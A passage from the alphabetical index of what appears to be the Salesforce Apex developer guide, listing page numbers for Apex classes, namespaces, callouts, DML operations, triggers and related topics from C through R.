retry logic and inserting records 215
understanding 215
C
cache
namespace 740
org data 366
session data 366
cache.Org
classes 740
cache.OrgPartition
classes 753
cache.Partition
classes 756
cache.Session
classes 767
cache.SessionPartition
classes 779
cache.Visibility enum 783
Callout
testing 476–477
Callouts
asynchronous 83
defining from a WSDL 461
execution limits 274
HTTP 474
invoking 457
limit methods 2339
limitations 484
limits 484
merge fields 460
named credentials 457
remote site settings 457
testing 475
testing with DML 481
2811
Index
Callouts (continued)
timeouts 484
Calls
runTests 571
Canvas
namespace 783
Canvas.ApplicationContext
interfaces 784
Canvas.CanvasLifecycleHandler
interfaces 787
Canvas.ContextDataType enum 789
Canvas.EnvironmentContext
interfaces 790
Canvas.RenderContext
interfaces 796
Canvas.Test
class 798
Capturing groups 519, 2382
Case sensitivity 38
Casting
collections 98
understanding 95
Certificates
generating 483
HTTP requests 484
SOAP 483
using 482
Chaining, constructor 78
Change sets 592
Character escape sequences 27
Chatter
Triggers 224
Chatter Answers
zones 294
Chatter feed elements 345
Chatter feed items 345
Chatter feeds 345
Chatter in Apex
bookmark a feed element 310
Communities 353
community scoped 297
create a repository file with content 320
create a repository file without content 319
edit a comment 315
edit a feed element 309
edit a question title and post 309
examples 295–302, 309–322
follow to a record 316
get a repository 316
Chatter in Apex (continued)
get a repository file with permissions 319
get a repository file without permissions 318
get a repository folder 318
get allowed item types 317
get community feed elements 297
get feed elements 296–297
get file preview 317
get previews 317
get repositories 316
get repository folder items 318
guest users 353
like a feed element 310
Portals 353
post a batch of feed elements 301
post a batch of feed elements with a binary attachment 302
post a comment to a feed element 311
post a comment with a mention 311
post a comment with a new file 313
post a comment with an an existing file 312
post a feed element 297
post a feed element with a binary attachment 301
post a feed element with a mention 298
post a feed element with existing files 298
post a rich-text comment with code block 314
post a rich-text comment with inline image 313
post a rich-text feed element with code block 300
post a rich-text feed element with inline image 299
share a feed element 311
subscribe to a record 316
testing 358
unfollow from a record 316
unsubscribe from a record 316
update a repository file with content 322
update a repository file without content 321
wildcards 357
Chatter Message Triggers 360
ChatterAnswers
namespace 802
ChatterAnswers.AccountCreator
interface 802
ChatterAnswers.AccountCreator Interface
createAccount method 802
Chunk size, SOQL query for loop 155
class 1289
Class
step by step walkthrough 19–22, 24
System.Limits 2339
2812
Index
classes
EmailFileAttachment 1808
PushNotification 1826
Classes
annotations 81
ApexPages.Action 611
ApexPages.IdeaStandardController 615
ApexPages.IdeaStandardSetController 617
ApexPages.KnowledgeArticleVersionStandardController 620
ApexPages.Message 624
ApexPages.StandardController 628
ApexPages.StandardSetController 633
API version 106
AppLauncher.AppMenu 642
Approval.LockResult 645
Approval.ProcessRequest 647
Approval.ProcessResult 649
Approval.ProcessSubmitRequest 651
Approval.ProcessWorkitemRequest 655
Approval.UnlockResult 657
Auth.AuthProviderCallbackState 668
Auth.AuthProviderPluginClass 674
Auth.AuthProviderTokenResponse 683
Auth.AuthToken 686
Auth.AuthTokenConfiguration 661
Auth.CommunitiesUtil 690
Auth.ConnectedAppPlugin 692
Auth.JWS 699
Auth.JWT 702
Auth.JWTBearerTokenExchange 707
Auth.OAuthRefreshResult 712
Auth.RegistrationHandler 719
Auth.UserData 733
Blob 2128
Boolean 2130
cache.Org 740
cache.OrgPartition 753
cache.Partition 756
cache.Session 767
cache.SessionPartition 779
Canvas.Test 798
casting 95
collections 97
ConnectApi.ActionLInks 806
ConnectApi.Announcement 1497
ConnectApi.AnnouncementPage 1498
ConnectApi.Announcements 815
ConnectApi.BatchResult 1503
ConnectApi.Chatter 820
Classes (continued)
ConnectApi.ChatterFavorites 826
ConnectApi.ChatterFeeds 846
ConnectApi.ChatterGroups 1130
ConnectApi.ChatterUsers 1198
ConnectApi.Communities 1228
ConnectApi.CommunityModeration 1230
ConnectApi.Datacloud 1289
ConnectApi.ManagedTopics 1300
ConnectApi.Mentions 1313
ConnectApi.Organization 1319
ConnectApi.QuestionAndAnswers 1320
ConnectApi.Recommendations 1323
ConnectApi.Records 1384
ConnectApi.Topics 1388
ConnectApi.Zones 1432
constructors 59
Database.DeletedRecord 1653
Database.DeleteResult 1654
Database.DMLOptions 1656
Database.DmlOptions.AssignmentRuleHeader 1659
Database.DMLOptions.DuplicateRuleHeader 1661
Database.DmlOptions.EmailHeader 1663
Database.DuplicateError 1665
Database.EmptyRecycleBinResult 1667
Database.Error 1669
Database.GetDeletedResult 1670
Database.GetUpdatedResult 1672
Database.LeadConvert 1673
Database.LeadConvertResult 1681
Database.MergeResult 1683
Database.QueryLocator 1685
Database.QueryLocatorIterator 1686
Database.SaveResult 1687
Database.UndeleteResult 1690
Database.UpsertResult 1691
Datacloud.AdditionalInformationMap 1693
Datacloud.DuplicateResult 1694
Datacloud.FieldDiff 1699
Datacloud.MatchRecord 1700
Datacloud.MatchResult 1702
DataSource.AsyncDeleteCallback 1707
DataSource.AsyncSaveCallback 1708
DataSource.Column 1711
DataSource.ColumnSelection 1726
DataSource.Connection 1728
DataSource.ConnectionParams 1733
DataSource.DataSourceUtil 1737
DataSource.DeleteContext 1739
2813
Index
Classes (continued)
DataSource.DeleteResult 1740
DataSource.Filter 1743
DataSource.Order 1746
DataSource.Provider 1749
DataSource.QueryContext 1751
DataSource.QueryUtils 1753
DataSource.ReadContext 1756
DataSource.SearchContext 1757
DataSource.SearchUtils 1759
DataSource.Table 1760
DataSource.TableResult 1764
DataSource.TableSelection 1769
DataSource.UpsertContext 1771
DataSource.UpsertResult 1772
Date 2211
Datetime 2222
Decimal 2245
declaring variables 56
defining 55, 99
defining from a WSDL 461
defining methods 57
differences with Java 98
Dom.Document 1776
Dom.XmlNode 1779
Double 2258
Email 1804
example 69
Exception 2266
extending 68
from WSDL 466, 469
ID 2290
inbound email 364
InboundEmail.BinaryAttachment 1816
InboundEmail.Header 1825
InboundEmail.TextAttachment 1818
InboundEmailResult 1821
InboundEnvelope 1822
Integer 2304
interfaces 73
IsValid flag 99
KbManagement.PublishingService 1792
List 2352
Long 2368
Map 2370
messaging 1804
Messaging.RenderEmailTemplateBodyResult 1832
Messaging.RenderEmailTemplateError 1833
methods 57
Classes (continued)
naming conventions 100
precedence 104
Process.PluginDescribeResult 446, 1851
Process.PluginDescribeResult sample for lead conversion 448
Process.PluginDescribeResult.InputParameter 1854
Process.PluginDescribeResult.InputParameter class 446
Process.PluginDescribeResult.InputParameter sample for
lead conversion 448
Process.PluginDescribeResult.OutputParameter 1857
Process.PluginDescribeResult.OutputParameter class 446
Process.PluginDescribeResult.OutputParameter sample for
lead conversion 448
Process.PluginRequest 1860
Process.PluginResult 1861
properties 65
PushNotificationPayload 1829
QuickAction.DescribeAvailableQuickActionResult 1863
QuickAction.DescribeLayoutComponent 1864
QuickAction.DescribeLayoutItem 1866
QuickAction.DescribeLayoutRow 1867
QuickAction.DescribeLayoutSection 1869
QuickAction.DescribeQuickActionDefaultValue 1872
QuickAction.DescribeQuickActionResult 1873
QuickAction.QuickAction 2448
QuickAction.QuickActionDefaults 1888
QuickAction.QuickActionRequest 1892
QuickAction.QuickActionResult 1896
QuickAction.SendEmailQuickActionDefaults 1898
Reports.AggregateColumn 1903
Reports.BucketField 1905
Reports.BucketFieldValue 1912
Reports.CrossFilter 1917
Reports.DetailColumn 1924
Reports.Dimension 1925
reports.EvaluatedCondition 1925
Reports.FilterOperator 1930
Reports.FilterValue 1931
Reports.GroupingColumn 1932
Reports.GroupingInfo 1933
Reports.GroupingValue 1935
reports.NotificationActionContext 1938
Reports.ReportCsf 1940
Reports.ReportCurrency 1949
Reports.ReportDataCell 1950
Reports.ReportDescribeResult 1951
Reports.ReportDetailRow 1952
Reports.ReportDivisionInfo 1952
Reports.ReportExtendedMetadata 1953
2814
Index
Classes (continued)
Reports.ReportFact 1955
Reports.ReportFactWithDetails 1956
Reports.ReportFactWithSummaries 1957
Reports.ReportFilter 1958
Reports.ReportInstance 1962
Reports.ReportManager 1965
Reports.ReportMetadata 1970
Reports.ReportResults 1989
Reports.ReportScopeInfo 1992
Reports.ReportScopeValue 1993
Reports.ReportType 1994
Reports.ReportTypeColumn 1995
Reports.ReportTypeColumnCategory 1997
Reports.ReportTypeMetadata 1999
Reports.SortColumn 2000
Reports.StandardDateFilter 2002
Reports.StandardDateFilterDuration 2005
Reports.StandardDateFilterDurationGroup 2007
Reports.StandardFilter 2008
Reports.StandardFilterInfo 2010
Reports.StandardFilterInfoPicklist 2011
Reports.SummaryValue 2013
reports.ThresholdInformation 2014
Reports.TopRows 2015
Schema.ChildRelationship 2020
Schema.DataCategory 2022
Schema.DataCategoryGroupSobjectTypePair 2023
Schema.DescribeColorResult 2026
Schema.DescribeDataCategoryGroupResult 2027
Schema.DescribeDataCategoryGroupStructureResult 2030
Schema.DescribeFieldResult 2032
Schema.DescribeIconResult 2047
Schema.DescribeSObjectResult 2050
Schema.DescribeTabResult 2059
Schema.DescribeTabSetResult 2062
Schema.FieldSet 2066
Schema.FieldSetMember 2070
Schema.PicklistEntry 2072
Schema.RecordTypeInfo 2074
Schema.SObjectField 2077
Schema.sObjectType 2078
Search.KnowledgeSuggestionFilter 2081
Search.QuestionSuggestionFilter 2086
Search.SearchResult 2089
Search.SearchResults 2091
Search.SuggestionOption 2092
Search.SuggestionResult 2094
Search.SuggestionResults 2094
Classes (continued)
security 185
SendEmailError 1835
SendEmailResult 1836
SessionManagement 724
Set 2483
shadowing names 101
SingleEmailMessage 1823, 1837
site 431
sObject 2514
String 2535
system.Address 2107
System.Answers 2112
System.ApexPages 2114
System.Approval 2116
System.BusinessHours 2132
System.Cases 2136
System.Continuation 2139
System.Cookie 2143
System.Crypto 2147
System.Database 2170
System.EncodingUtil 2262
System.FlexQueue 2269
System.Http 2272
System.HttpRequest 2274
System.HttpResponse 2284
System.Ideas 2296
System.JSON 2306
System.JSONGenerator 2312
System.JSONParser 2326
system.Location 2365
System.Matcher 2382
System.Math 2394
System.Messaging 2420
System.MultiStaticResourceCalloutMock 2425
System.Network 2427
System.PageReference 2432
System.Pattern 2441
System.RemoteObjectController 2452
System.ResetPasswordResult 2455
System.RestContext 2456
System.RestRequest 2457
System.RestResponse 2463
System.Schema 2470
System.Search 2474
System.SelectOption 2477
System.Site 2494
System.StaticResourceCalloutMock 2533
System.System 2611
2815
Index
Classes (continued)
System.Test 2632
System.Time 2645
System.TimeZone 2650
System.Trigger 2653
System.Type 2656, 2684
System.URL 2664
System.UserInfo 2672
System.Version 2680
System.XmlStreamReader 2687
System.XmlStreamWriter 2701
TxnSecurity.Event 2712
type resolution 105
understanding 54
UserProvisioning.ConnectorTestUtil 2722
UserProvisioning.UserProvisioningLog 2724
UserProvisioning.UserProvisioningPlugin 2726
using constructors 59
variables 56
VisualEditor.DataRow 2731
VisualEditor.DynamicPickList 2734
VisualEditor.DynamicPickListRows 2737
Visualforce 79
with sharing 80
without sharing 80
Classesn
InboundEmail 1810
Client certificates 482
Cloud Development, Apex 5
Code
security 199
system context 182
using sharing 182
Code coverage
best practices 585
overview 582
Collections
casting 98
classes 97
iterating 53
iteration for loops 53
lists 30
maps 30
sets 30
size limits 274
Comments 46
Community class 2112
compileAndTest call
See also deploy call 594
compileClasses call 597, 2758
compileTriggers call 597, 2759
Components
behavior versioning 600–601
Compound expressions 40
ConnectApi
asynchronous operations 359
casting 357
Communities 353
context user 359
deserialization 356
equality 356
guest users 353
inputs 355
limits 356
outputs 355
Portals 353
serialization 356
system mode 359
versioning 356
with sharing keywords 359
without sharing keywords 359
ConnectAPI 804
ConnectApi.ActionLinks
class 806
ConnectApi.Announcement
classes 1497
ConnectApi.AnnouncementPage
classes 1498
ConnectApi.Announcements
class 815
ConnectApi.BatchResult
classes 1503
ConnectApi.Chatter
class 820
ConnectApi.ChatterFavorites
class 826
ConnectApi.ChatterFeeds
class 846
ConnectApi.ChatterGroups
class 1130
ConnectApi.ChatterMessages
class 1174
ConnectApi.ChatterUsers
class 1198
ConnectApi.Communities
class 1228
ConnectApi.CommunityModeration
class 1230
2816
Index
ConnectApi.ContentHub
class 1254
ConnectApi.Datacloud 1289
ConnectApi.ExternalEmailService
class 1294–1295
ConnectApi.Knowledge
class 1296
ConnectApi.ManagedTopics
class 1300
ConnectApi.Mentions
class 1313
ConnectApi.Organization
class 1319
ConnectApi.QuestionAndAnswers
class 1320
ConnectApi.Recommendations
class 1323
ConnectApi.Records
class 1384
ConnectApi.SalesforceInbox
class 1387
ConnectApi.Topics
class 1388
ConnectApi.UserProfiles
class 1422
ConnectApi.Zones
class 1432
Connectors, Salesforce Connect 385
Constants
about 38
defining 77
Constructors
chaining 78
using 59
ContentHub
ConnectApi.ContentHub 1254
context user 359
Context variables
considerations 214
trigger 212
Control Flow 49
Controllers, Visualforce
custom 269
extending 269
maintaining view state 79
transient keyword 79
understanding 269
Conventions 2790
Conversions 47
ConvertLead database method 1673
Custom classes 103
Custom labels 112
Custom settings
examples 2160
methods 2159
overview 206
Custom Types
sorting 107
D
Data Categories groups and structures
describing 172
Data in Apex 111
Data types
converting 47
primitive 27
sObject 112
understanding 27
Data types and variables 26
Database
namespace 1649
Database methods
delete 608
insert 606
system static 2170
undelete 609
update 607
upsert 607
Database objects
methods 1656, 1659, 1663, 1685
understanding 1656, 1659, 1663, 1685
Database.Batchable
interface 1650
Database.BatchableContext
interface 1652
Database.DeletedRecord
class 1653
Database.DeleteResult
class 1654
Database.DmlOptions 131
Database.DMLOptions
class 1656
Database.DmlOptions.AssignmentRuleHeader
class 1659
Database.DMLOptions.DuplicateRuleHeader
classes 1661
Database.DmlOptions.EmailHeader
class 1663
2817
Index
Database.DuplicateError
classes 1665
Database.EmptyRecycleBinResult
class 1667
Database.Error
class 1669
Database.GetDeletedResult
class 1670
Database.GetUpdatedResult
class 1672
Database.LeadConvert
class 1673
Database.LeadConvertResult class 1681
Database.MergeResult
class 1683
Database.QueryLocator
class 1685
Database.QueryLocatorIterator
class 1686
Database.SaveResult
class 1687
Database.UndeleteResult
class 1690
Database.UpsertResult
class 1691
Datacloud
namespace 1693
Datacloud.AdditionalInformationMap
classes 1693
Datacloud.DuplicateResult
classes 1694
Datacloud.FieldDiff
classes 1699
Datacloud.MatchRecord
classes 1700
Datacloud.MatchResult
classes 1702
DataSource
namespace 1704
DataSource.AsyncDeleteCallback
classes 1707
DataSource.AsyncSaveCallback
classes 1708
DataSource.AuthenticationCapability enum 1708
DataSource.AuthenticationProtocol enum 1709
DataSource.Capability enum 1709
DataSource.Column
classes 1711
DataSource.ColumnSelection
classes 1726
DataSource.Connection
classes 1728
DataSource.ConnectionParams
classes 1733
DataSource.DataSourceUtil
classes 1737
DataSource.DataType enum 1738
DataSource.DeleteContext
classes 1739
DataSource.DeleteResult
classes 1740
DataSource.Filter
classes 1743
DataSource.FilterType enum 1745
DataSource.IdentityType enum 1746
DataSource.Order
classes 1746
DataSource.OrderDirection enum 1748
DataSource.Provider
classes 1749
DataSource.QueryAggregation enum 1750
DataSource.QueryContext
classes 1751
DataSource.QueryUtils
classes 1753
DataSource.ReadContext
classes 1756
DataSource.SearchContext
classes 1757
DataSource.SearchUtils
classes 1759
DataSource.Table
classes 1760
DataSource.TableResult
classes 1764
DataSource.TableSelection
classes 1769
DataSource.UpsertContext
classes 1771
DataSource.UpsertResult
classes 1772
Date
data type 27
primitive data type 2211
Datetime
data type 27
primitive data type 2222
2818
Index
Deadlocks
avoiding 144
Debug console 527, 542
Debug log, retaining 523
Debug logs
order of precedence 542
Debugging
API calls 541
classes created from WSDL documents 473
log 523
Decimal
data type 27
primitive data type 2245
rounding modes 2246
Declaring variables 37
Defining a class from a WSDL 461
Delete database method 608
Delete statement 608
deploy call 594
Deploying
additional methods 597
Force.com IDE 592
understanding 591
using change sets 592
using Force.com Migration Tool 592
Deprecated annotation 82
Deprecating 600
Describe information
access all fields 169
access all sObjects 172
describing sObjects using tokens 166
describing tabs 170
permissions 169
understanding 166
using Schema method 170
Describe results
field sets 2066, 2070
fields 168, 2032
sObjects 167
Design Patterns 272
Developer Console
anonymous blocks 209
using 527
Developer Edition 13
Development
process 12–13
security 199
DML
considerations 140
DML (continued)
convert leads 129
database errors 131
delete 127
exception handling 130
insert and update 118
insert related records using an external ID field 120
insert related records using foreign keys 120
merge 124
operations 117, 606
overview 114
result classes 130
setting options 131
statements vs Database class methods 115
transactions 117
undelete 128
upsert 122
DML operations
behavior 136
convertLead 1673
error object 1669
exception handling 140
execution limits 274
limit methods 2339
mixed DML in test methods 138
understanding 606
unsupported sObjects 139
DML statements
delete 608
insert 606
merge 609
undelete 609
update 607
upsert 607
DMLException methods 2269
Do-while loops 51
Documentation typographical conventions 2790
Dom
namespace 1776
Dom.Document
class 1776
Dom.XmlNode
class 1779
Double
data type 27
primitive data type 2258
Dynamic Apex
foreign keys 180
understanding 165
2819
Index
Dynamic DML 180
Dynamic SOQL 177
Dynamic SOSL 178
E
Eclipse, deploying Apex 597
Email
attachments 1808
class 1804
inbound 364
outbound 364, 1808, 2420
Email service
InboundEmail object 1810
InboundEmail.BinaryAttachment object 1816
InboundEmail.Header object 1825
InboundEmail.TextAttachment object 1818
InboundEmailResult object 1821
InboundEnvelope object 1822
understanding 266
EmailException methods 2269
EmailFileAttachment
class 1808
Encoding 516
Encryption 513, 2147
Enterprise Edition, deploying Apex 591
Enums
Auth.InvocationContext 698
Auth.SessionLevel 732
Auth.VerificationPolicy 738
cache.Visibility 783
Canvas.ContextDataType 789
DataSource.AuthenticationCapability 1708
DataSource.AuthenticationProtocol 1709
DataSource.Capability 1709
DataSource.DataType 1738
DataSource.FilterType 1745
DataSource.IdentityType 1746
DataSource.OrderDirection 1748
DataSource.QueryAggregation 1750
methods 2266
Reports.BucketType 1916
Reports.ColumnDataType 1916
Reports.ColumnSortOrder 1917
Reports.CsfGroupType 1923
Reports.DateGranularity 1923
Reports.EvaluatedConditionOperator 1929
reports.FormulaType 1932
Reports.ReportFormat 1962
Reports.StandardFilterType 2012
Enums (continued)
Schema.DisplayType 2065
Schema.SOAPType 2076
System.JSONToken 2339
understanding 35
Error object
DML 1669
methods 1669
Escape sequences, character 27
Events, triggers 212
Examples
define action links 303, 306
post action links 303, 306
Exception
class 2266
Exceptions
Apex exceptions and common methods 548
catching 552
custom 553
DML 140
handling exceptions 546
methods 2266, 2268
statements 544
throw statements 544
trigger 226
try-catch-finally statements 544
types 544, 2266
executeanonymous call 209, 2760
Execution governors
email warnings 281
understanding 274
Execution order, triggers 219
Expressions
expanding sObject and list 162
operators 40
overview 39
regular 516, 2441
understanding 39
External Email Services
ConnectApi.ExternalEmailService 1294–1295
External objects
writable, about 387
F
Features
common 323
Features, new 5
Feed elements
about 345
2820
Index
Feed elements (continued)
layout 345
posting 345
rendering 345
Feed Item Triggers 363
Feed items
about 345
layout 345
posting 345
rendering 345
Feeds
about 345
Field sets
describe results 2066, 2070
Field-level security and custom API calls 255, 263
Fields
access all 169
accessing 113
accessing through relationships 146
describe results 168, 2032
see also sObjects 145
that cannot be modified by triggers 222
tokens 168
validating 114
final keyword 38, 77
Flow
data type conversions 448
namespace 1789
Process.Plugin Interface 442–443
Process.PluginDescribeResult 446
Sample Process.Plugin Implementation for Lead Conversion
448
Flow.Interview
accessing flow variables 441
methods 1789
For loops
list or set iteration 53
SOQL locking 143
SOQL queries 155
traditional 52
understanding 51
FOR UPDATE keyword 143
Force.com
managed sharing 186
Force.com IDE, deploying Apex 592
Force.com Migration Tool
additional deployment methods 597
deploying Apex 592
Force.com platform 285
Foreign keys and SOQL queries 147
Formula fields, dereferencing 145
Functional tests
for SOSL queries 575
running 569
understanding 558
Future annotation 83
Future methods 228
G
Get accessors 65
Global access modifier 56, 61
Governor Limits 272
Governors
email warnings 281
execution 274
limit methods 2339
Groups, capturing 519
H
Headers
PackageVersionHeader 2768
Heap size
execution limits 274
limit methods 2339
Hello World example
understanding 19–22, 24
Hierarchy custom settings
examples 2160
How to invoke Apex 208
Http class
testing 475
HTTP requests
using certificates 484
HttpCalloutMock
interface 476
HttpDelete annotation 95
HttpGet annotation 95
HttpPatch annotation 95
HttpPost annotation 95
HttpPut annotation 95
I
ID
data type 27
primitive data type 2290
Ideas
zones 294
2821
Index
IdeaStandardController class
instantiation 615
IdeaStandardSetController class
instantiation 617
Identifiers, reserved 2782
IDEs 15
If-else statements 50
In clause, SOQL query 153
InboundEmail
class 1810
InboundEmail object 267
InboundEmail.BinaryAttachment
class 1816
InboundEmail.Header
class 1825
InboundEmail.TextAttachment
class 1818
InboundEmailResult
class 1821
InboundEnvelope
class 1822
Initialization code
instance 61
static 61
using 61
Inline SOQL queries
locking rows for 143
returning a single record 151
Insert database method 606
Insert statement 606
Instance
initialization code 61
methods 61
variables 61
instanceof keyword 77
Integer
data type 27
primitive data type 2304
Integration using Apex 456
Interfaces
Auth.AuthProviderPlugin 670
Auth.RegistrationHandler 715
Auth.SamlJitHandler 720
Canvas.ApplicationContext 784
Canvas.CanvasLifecycleHandler 787
Canvas.EnvironmentContext 790
Canvas.RenderContext 796
ChatterAnswers.AccountCreator 802
Database.Batchable 1650
Interfaces (continued)
Database.BatchableContext 1652
HttpCalloutMock 476
Iterable 74
Iterator 74
Process.Plugin 1849
QuickAction.QuickActionDefaultsHandler 1889
reports.NotificationAction 1937
Schedulable 234
Support.EmailTemplateSelector 2098
Support.MilestoneTriggerTimeCalculator 2100
System.Comparable 2136
System.HttpCalloutMock 2273
System.InstallHandler 2301
System.Queueable 2445
System.QueueableContext 2447
System.SandboxPostCopy 2467
System.Schedulable 2468
System.SchedulableContext 2469
System.StubProvider 2609
System.UninstallHandler 2661
System.WebServiceMock 2685
TerritoryMgmt.OpportunityTerritory2AssignmentFilter 2708
TxnSecurity.PolicyCondition 2716
UrlRewriter 2096
InvocableMethod annotation 84
InvocableVariable annotation 85
Invoking Apex 208
isAfter trigger variable 212
isBefore trigger variable 212
isDelete trigger variable 212
isExecuting trigger variable 212
isInsert trigger variable 212
IsTest annotation 88
isUndeleted trigger variable 212
isUpdate trigger variable 212
IsValid flag 99, 217
Iterators
custom 74
Iterable 75
using 74
J
JavaScript
RemoteAction 269
JSON
deserialization 498
generator 502
methods 498
2822
Index
JSON (continued)
parsing 503
serialization 498, 500
K
kbManagement
methods 379
KbManagement
namespace 1792
KbManagement.PublishingService
class 1792
Keywords
ALL ROWS 155
final 38, 77
FOR UPDATE 143
instanceof 77
reserved 2782
super 77
testMethod 558
this 78
transient 79
webService 254
with sharing 80
without sharing 80
Knowledge
ConnectApi.Knowledge 1296
L
L-value expressions 39
Language
concepts 7
Learning Apex 14
Limit clause, SOQL query 153
limits 356
Limits
best practices for running within governor limits 282
code execution 274
code execution email warnings 281
methods 575
List
collection 2352
List iteration for loops 53
List size, SOQL query for loop 155
Lists
about 30
array notation 31
defining 30
expressions 162
iterating 53
Lists (continued)
sObject 157
sorting 32
sorting custom types 107
sorting sObjects 159
Literal expressions 39
Local variables 61
Locking statements 143
Log, debug 523
Long
data type 27
primitive data type 2368
Loops
do-while 51
execution limits 274
see also For loops 51
understanding 50
while 51
M
Managed packages
AppExchange 101
package versions 599
version settings 105
versions 599–601
Managed sharing 186
Manual sharing 186
Map
collection 2370
Maps
considerations when using sObjects 164
equals and hashcode methods 107
iterating 53
sObjects 163
understanding 33
Matcher class
bounds 518
capturing groups 519
example 519
regions 518
searching 518
Merge fields, named credentials 460
Merge statements
triggers and 218
understanding 609
Message class
instantiation 624
severity enum 625
Message severity 625
2823
Index
Messages
ConnectApi.ChatterMessages 1174
Messaging
namespace 1803
Messaging.RenderEmailTemplateBodyResult
classes 1832
Messaging.RenderEmailTemplateError
classes 1833
Metadata API call
deploy 594
Methods
access modifiers 61
custom settings 2159
enum 2266
Flow.Interview 1789
instance 61
JSON 498
kbManagement 379
map 33
Network 363
package namespace prefixes 101
passing-by-value 57
recursive 57
sendEmail 364
set 33
setFixedSearchResults 575
static 61
user-defined 57
using with classes 57
void with side effects 57
XML Reader 2687
mobile push notifications
PushNotification class 1826
MultiStaticResourceCalloutMock
testing callouts 477
N
Named credentials
about 457
body, custom 459
header, authorization 459
header, custom 459
merge fields 460
Namespace
precedence 104
prefixes 101
type resolution 105
Namespaces
ApexPages 610
Namespaces (continued)
AppLauncher 642
Approval 644
Auth 659
cache 740
Canvas 783
ChatterAnswers 802
Database 1649
Datacloud 1693
DataSource 1704
Dom 1776
Flow 1789
KbManagement 1792
Messaging 1803
Process 1849
QuickAction 1862
Reports 1900, 2080
Schema 2019
Site 2095
Support 2098, 2708, 2711
System 2102
UserProvisioning 2722
VisualEditor 2731
Nested lists 30
Network
methods 363
New features in this release 5
new trigger variable 212
newMap trigger variable 212
Not In clause, SOQL query 153
O
Objects
ApexTesResultLimits 2748
ApexTestQueueItem 2743
ApexTestResult 2745
ApexTestRunResult 2751
old trigger variable 212
oldMap trigger variable 212
Onramping 14
Opaque bounds 518
Operations
DML 606
DML exceptions 140
Operators
precedence 45
understanding 40
Order of trigger execution 219
Org Cache 366
2824
Index
Overloading custom API calls 257
P
Packages
creating 2301, 2661
post install script 2301, 2661
Packages, namespaces 101
PackageVersionHeader headers 2768
PageReference class
instantiation 2432
navigation example 2434
query string example 2433
Pages, Visualforce 269
Parameterized typing 35
Parent-child relationships
SOQL queries 147
understanding 39
partition
default 366, 370
for cached data 366, 370
Passed by value, primitives 27
Passing-by-value 57
Pattern class
example 519
Patterns and Matchers 516
Performance Edition, deploying Apex 591
Permissions
enforcing using describe methods 184
Permissions and custom API calls 255, 263
Person account triggers 221
Platform Cache
about 366
best practices 375
considerations 368
features 367
internals 371
limits 369
org cache, storing and retrieving values 374
partitions 370
session cache, storing and retrieving values 372
Visualforce global variable 373
Platform Cache Partition tool
using 366
Polymorphic relationships 152
Polymorphic, methods 57
Precedence, operator 45
Primitive data types
passed by value 27
Private access modifier 56, 61
Process
namespace 1849
Process.Plugin
interface 1849
Process.Plugin interface
data type conversions 448
Process.PluginDescribeResult class 443
Process.PluginDescribeResult.InputParameter class 443
Process.PluginDescribeResult.OutputParameter class 443
Sample implementation for lead conversion 448
Process.PluginDescribeResult
class 1851
Process.PluginDescribeResult.InputParameter
class 1854
Process.PluginDescribeResult.OutputParameter
class 1857
Process.PluginRequest
class 1860
Process.PluginResult
class 1861
Processing, triggers and bulk 211
Production organizations, deploying Apex 591
Programming patterns
triggers 226
Properties 65
Protected access modifier 56, 61
Public access modifier 56, 61
push notifications
PushNotification class 1826
Push notifications
execution limits 274
PushNotification
classes 1826
PushNotificationPayload
classes 1829
Q
Queries
execution limits 274
SOQL and SOSL 144
SOQL and SOSL expressions 39
working with results 145
Quick start 19
QuickAction
namespace 1862
QuickAction.DescribeAvailableQuickActionResult
class 1863
QuickAction.DescribeLayoutComponent
class 1864
2825
Index
QuickAction.DescribeLayoutItem
class 1866
QuickAction.DescribeLayoutRow
class 1867
QuickAction.DescribeLayoutSection
class 1869
QuickAction.DescribeQuickActionDefaultValue
class 1872
QuickAction.DescribeQuickActionResult
class 1873
QuickAction.QuickAction
class 2448
QuickAction.QuickActionDefaults
classes 1888
QuickAction.QuickActionDefaultsHandler
interfaces 1889
QuickAction.QuickActionRequest
class 1892
QuickAction.QuickActionResult
class 1896
QuickAction.SendEmailQuickActionDefaults
classes 1898
Quickstart tutorial
understanding 19
R
ReadOnly annotation 91
Reason field values 187
Recalculating sharing 194
Record ownership 186
Recovered records 219
Recursive
methods 57
triggers 210
Regions and regular expressions 518
Regular expressions
bounds 518
grouping 2382
regions 518
searching 2382
splitting 2441
understanding 516
Relationships, accessing fields through 146
Release notes 5
Remote site settings 457
RemoteAction annotation 92
Reports
decoding fact map 426
filtering 425
Reports (continued)
getting data 424
getting metadata 424
introduction 421
listing asynchronous runs 423
namespace 1900
requirements and limitations 422
running 422
testing 429
Reports.AggregateColumn
class 1903
Reports.BucketField
classes 1905
Reports.BucketFieldValue
classes 1912
Reports.BucketType enum 1916
Reports.ColumnDataType enum 1916
Reports.ColumnSortOrder enum 1917
Reports.CrossFilter
classes 1917
Reports.CsfGroupType enum 1923
Reports.DateGranularity enum 1923
Reports.DetailColumn
class 1924
Reports.Dimension
class 1925
reports.EvaluatedCondition
classes 1925
Reports.EvaluatedConditionOperator enum 1929
Reports.FilterOperator
class 1930
Reports.FilterValue
class 1931
reports.FormulaType enum 1932
Reports.GroupingColumn
class 1932
Reports.GroupingInfo
class 1933
Reports.GroupingValue
class 1935
reports.NotificationAction
interfaces 1937
reports.NotificationActionContext
classes 1938
Reports.ReportCsf
classes 1940
Reports.ReportCurrency
class 1949
2826
Index
Reports.ReportDataCell
class 1950
Reports.ReportDescribeResult
class 1951
Reports.ReportDetailRow
class 1952
Reports.ReportDivisionInfo
classes 1952
Reports.ReportExtendedMetadata
class 1953
Reports.ReportFact
class 1955
Reports.ReportFactWithDetails
class 1956
Reports.ReportFactWithSummaries
class 1957
Reports.ReportFilter
class 1958
Reports.ReportFormat enum 1962
Reports.ReportInstance
class 1962
Reports.ReportManager
class 1965
Reports.ReportMetadata
class 1970
Reports.ReportResults
class 1989
Reports.ReportScopeInfo
classes 1992
Reports.ReportScopeValue
classes 1993
Reports.ReportType
class 1994
Reports.ReportTypeColumn
class 1995
Reports.ReportTypeColumnCategory
class 1997
Reports.ReportTypeMetadata
class 1999
Reports.SortColumn
classes 2000
Reports.StandardDateFilter
classes 2002
Reports.StandardDateFilterDuration
classes 2005
Reports.StandardDateFilterDurationGroup
classes 2007
Reports.StandardFilter
classes 2008
Reports.StandardFilterInfo
classes 2010
Reports.StandardFilterInfoPicklist
classes 2011
Reports.StandardFilterType enum 2012
Reports.SummaryValue
class 2013
reports.ThresholdInformation
classes 2014
Reports.TopRows
classes 2015
Requests 135
Reserved keywords 2782
REST Web Services
Apex REST code samples 263
Apex REST introduction 257
Apex REST methods 258
exposing Apex classes 257
